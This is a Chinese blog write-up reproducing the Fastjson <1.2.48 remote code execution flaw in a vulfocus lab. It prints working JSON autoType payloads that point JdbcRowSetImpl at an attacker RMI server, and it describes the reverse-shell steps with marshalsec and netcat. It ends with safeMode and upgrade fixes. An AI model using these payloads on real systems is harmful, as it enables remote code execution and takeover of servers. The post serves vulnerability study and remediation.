Fastjson<1.2.48远程代码执行漏洞(CNVD-2019-22238)

news2025/2/27 11:25:38

漏洞存在原因

在fastjson<1.2.24版本中,在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。而在1.24<fastjson<1.2.48版本中后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令

漏洞复现过程如下

在vulfocus平台中启动fastjson1.48版本漏洞镜像。
在这里插入图片描述
访问fastjson对应8090的端口20450。
在这里插入图片描述
使用burpsuite拦截/请求。
在这里插入图片描述
修改请求方式为POST,以及修改Content-Type: application/json,并在下方添加json格式数据,进行测试。

在这里插入图片描述
在此处填写json数据时发现,只需要datasource数据即可实现getshell,经过查看其它复现文章发现,部分文章在复现过程是同时填写
1、

{
 
    
   "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
"age":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.5.129:1099/exp_jndi",
        "autoCommit":true
    }
}

2、但我经过测试发现,在vulfocus靶场的环境中只需要填写

"age":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.5.129:1099/exp_jndi",
        "autoCommit":true
    }

payload之所以不同,是因为fastjson版本不同的造成的。
在这里插入图片描述

写exp文件,反弹shell。
在这里插入图片描述
使用python开启http服务。
在这里插入图片描述
使用marshalsec开启rmi服务。
在这里插入图片描述
使用netcat开启监听,获取到shell。
在这里插入图片描述

漏洞如何修复

临时防护措施:

若相关用户暂时无法进行升级操作,也可使用下列方式进行缓解:
通过开启safeMode配置完全禁用autoType。三种配置SafeMode的方式如下:
1.在代码中配置:
ParserConfig.getGlobalInstance().setSafeMode(true);
2.加上JVM启动参数:
-Dfastjson.parser.safeMode=true
如果有多个包名前缀,可用逗号隔开。
3.通过fastjson.properties文件配置:
通过类路径的fastjson.properties文件来配置,配置方式如下:
fastjson.parser.safeMode=true

正式修复方式:

升级到最新版本
升级步骤如下:
1.备份原fastjson依赖库,避免升级失败的情况发生。
2.将低版本的fastjson库替换为1.2.83版本即可

参考链接

Fastjson系列漏洞实战和总结:https://blog.csdn.net/qq_50854662/article/details/127234755
框架/组件漏洞系列2:fastjson漏洞汇总:https://blog.csdn.net/qq_45590334/article/details/121723316
fastjson 1.2.47 RCE漏洞保姆级复现:https://blog.csdn.net/text2206/article/details/128841278

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/500949.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【容器化应用程序设计和开发】2.4 容器网络和存储

往期回顾&#xff1a; 第一章&#xff1a;【云原生概念和技术】 第二章&#xff1a;2.1 容器化基础知识和Docker容器 第二章&#xff1a;2.2 Dockerfile 的编写和最佳实践 第二章&#xff1a;2.3 容器编排和Kubernetes调度 2.4 容器网络和存储 容器网络和存储是容器化应用…

操作系统第二章——进程与线程(下)

东风夜放花千树&#xff0c;更吹落&#xff0c;星如雨 文章目录 2.3.1 进程同步&#xff0c;进程互斥知识总览什么是进程同步什么是进程互斥知识回顾 2.3.2 进程互斥的软件实现方法知识总览如果没有进程互斥单标志法双标志先检查法双标志后检查法Peterson算法知识回顾 2.3.3进程…

Linkage Mapper解密数字世界链接 专栏内容介绍

✅创作者&#xff1a;陈书予 &#x1f389;个人主页&#xff1a;陈书予的个人主页 &#x1f341;陈书予的个人社区&#xff0c;欢迎你的加入: 陈书予的社区 &#x1f31f;专栏地址: Linkage Mapper解密数字世界链接 在数字时代&#xff0c;链接是信息的核心&#xff0c;链接地…

typescript:熟练掌握typescript

一、简介 TypeScript 教程 | 菜鸟教程 TypeScript (简称:TS)是JavaScript的超集 (JS有的TS 都有)。 TypeScriptType JavaScript (在JS 基础之上&#xff0c;为JS添加了类型支持)。 哔哩哔哩_教程_TypeScript 二、TypeScript为什么要为js增加类型支持&#xff1f; 背景&am…

Flowable+React+bpmn-js实现工作流

由于新东家使用的是React&#xff0c;不是Vue&#xff0c;而自己一直想做一个关于工作流的应用出来&#xff0c;断断续续&#xff0c;花了几个月的时间&#xff0c;开发了工作流的功能&#xff0c;后面会继续完善。 技术栈 前端 前端是基于React开发的&#xff0c;使用了ant…

【LeetCode】704.二分查找

704.二分查找 解析&#xff1a; 思路一&#xff1a;暴力解法&#xff0c;直接遍历&#xff0c;从头开始查找&#xff0c;如果找到直接返回下标&#xff0c;找不到返回-1。 class Solution { public:int search(vector<int>& nums, int target) {for(int i 0; i <…

[架构之路-192]-《软考-系统分析师》-8-软件工程 - 14种UML图快速概览

目录 第1章 UML概述 1.1 什么是UML&#xff1f; 1.2 为什么要用UML&#xff1f; 1.3 UML图有哪些&#xff1f; 1.4 UML图概览 第2章 UML图示 2.1 静态图、结构图 - 什么是类图&#xff1f; 泛化&#xff08;Generalization&#xff09; 实现&#xff08;Realization&a…

四:redis的常见命令及5种基本数据类型

四:redis的常见命令及数据类型 Redis 键(key) 命令1.String&#xff08;字符串&#xff09;2.List(列表类型)3.set(集合)4.Hash(哈希)5.Zset(有序集合) redis官网可查看所有命令&#xff1a; https://www.redis.net.cn/order/ Redis 键(key) 命令 127.0.0.1:6379> keys * …

String、StringBufer、StringBuild类

文章目录 1. String1.1 String的特性1.2 String的不可变的特性理解1.3 String不同实例化方式的对比1.4 *String中的常用方法1.5 String与其他类型之间的转换1.5.1 String与基本数据类型、包装类之间的转换1.5.2 String与字符数组(char[])之间的转换 2. StringBuffer类2.1 Strin…

如何从菜鸟变成大佬:提升写文案的技巧

其实很多人都不知道文案是什么&#xff1f; 他们分不清文案和日常的写作之间的区别。 其实&#xff0c;文案和日常的写作的最大区别就是是否能够产生销售力。 比如你平时写作文、写博客、写情感文章、写政府报告&#xff0c;公文、写书之类的&#xff0c;都不属于文案的范畴…

基于线上考研资讯数据抓取的推荐系统的设计与实现(论文+源码)_kaic

摘 要 随着互联网的飞速发展&#xff0c;互联网在各行各业的应用迅速成为众多学校关注的焦点。他们利用互联网提供电子商务服务&#xff0c;然后有了“考研信息平台”&#xff0c;这将使学生考研的信息平台更加方便和简单。 对于考研信息平台的设计&#xff0c;大多采用java技…

Ae:绘画面板

Ae菜单&#xff1a;窗口/绘画 Paint 快捷键&#xff1a;Ctrl 8 绘画工具&#xff08;画笔工具、仿制图章工具及橡皮擦工具&#xff09;仅能工作在图层面板上。在使用绘画工具之前&#xff0c;建议先在绘画 Paint面板中查看或进行相关设置。 说明&#xff1a; 如果要在绘画描边…

尝试通过俄罗斯方块解释程序员这个职业

每到毕业季和高考季&#xff0c;总会有相关的职业前景咨询环节等待着我&#xff0c;不管我愿不愿意~~。 每次我都会变着法向众人解释程序员这个职业&#xff0c;声泪俱下地描述互联网各种血泪史&#xff0c;先去考公不要进坑云云。可是效果非常不好&#xff0c;7、8月份这群人…

使用docker compose 安装最新版neo4j

一、Neo4j和图数据库简介 neo4j是基于Java语言编写图形数据库。图是一组节点和连接这些节点的关系。图形数据库也被称为图形数据库管理系统或GDBMS。 Neo4j的是一种流行的图形数据库。 其他的图形数据库是Oracle NoSQL数据库&#xff0c;OrientDB&#xff0c;HypherGraphDB&am…

AIGC周报|下一个裁谁?老板:问问AI;OpenAI推出Shap·E;库克:AI仍有不少问题要解决

AIGC&#xff08;AI Generated Content&#xff09;即人工智能生成内容。近期爆火的 AI 聊天机器人 ChatGPT&#xff0c;以及 DallE 2、Stable Diffusion 等文生图模型&#xff0c;都属于 AIGC 的典型案例&#xff0c;它们通过借鉴现有的、人类创造的内容来快速完成内容创作。 …

网络基础之应用层协议,组织方式,自定义协议和http协议https协议简单介绍

网络基础之应用层协议 应用层介绍应用层是什么 组织方式序列化反序列化常见的自定义序列化方式 HTTP协议——超文本传输协议&#xff08;最早就是用来传输web网页传输的&#xff09;HTTP协议的特性HTTP协议的格式&#xff1a; HTTP 请求请求行HTTP常见HeaderHTTP常见状态码 HTT…

asp.net+C#公交线路换乘查询系统

系统功能结构图 (1)用户查询模块 在用户查询模块中&#xff0c;主要是查询出用户自己所需要的线路信息&#xff0c;这也是整个系统最主要的功能模块。主要包括&#xff1a; ①查询车次信息&#xff1a;输入要查询的车次进行搜索&#xff0c;可以查询出于它相应的站点名和站点描…

unity航点寻径

一、游戏框架&#xff1a;设置了六个路标&#xff0c;角色会在这六个路标之间一次移动&#xff0c;当移动到第六个路标后又会返回第一个路标&#xff0c;继续依次移动。 road&#xff1a; 道路&#xff0c;由五个立方体组成 sign&#xff1a;路标&#xff0c;由六个胶囊组成 …

系统集成项目管理工程师 下午 真题 及考点(2020年下半年)

文章目录 2020年下半年试题一&#xff1a;第10章 项目质量管理&#xff0c;规划质量管理过程的输入试题二&#xff1a;第9章 项目成本管理&#xff0c;典型&#xff1a;EAC ACETC AC&#xff08;BAC-EV&#xff09;/CPI BAC/CPI试题三&#xff1a;第18章 项目风险管理&#x…

Grafana 系列-统一展示-3-Prometheus 仪表板

系列文章 Grafana 系列文章 知识储备 Prometheus Template Variables 你可以使用变量来代替硬编码的细节&#xff0c;如 server、app 和 pod_name 在 metric 查询中。Grafana 在仪表盘顶部的下拉选择框中列出这些变量&#xff0c;帮助你改变仪表盘中显示的数据。Grafana 将…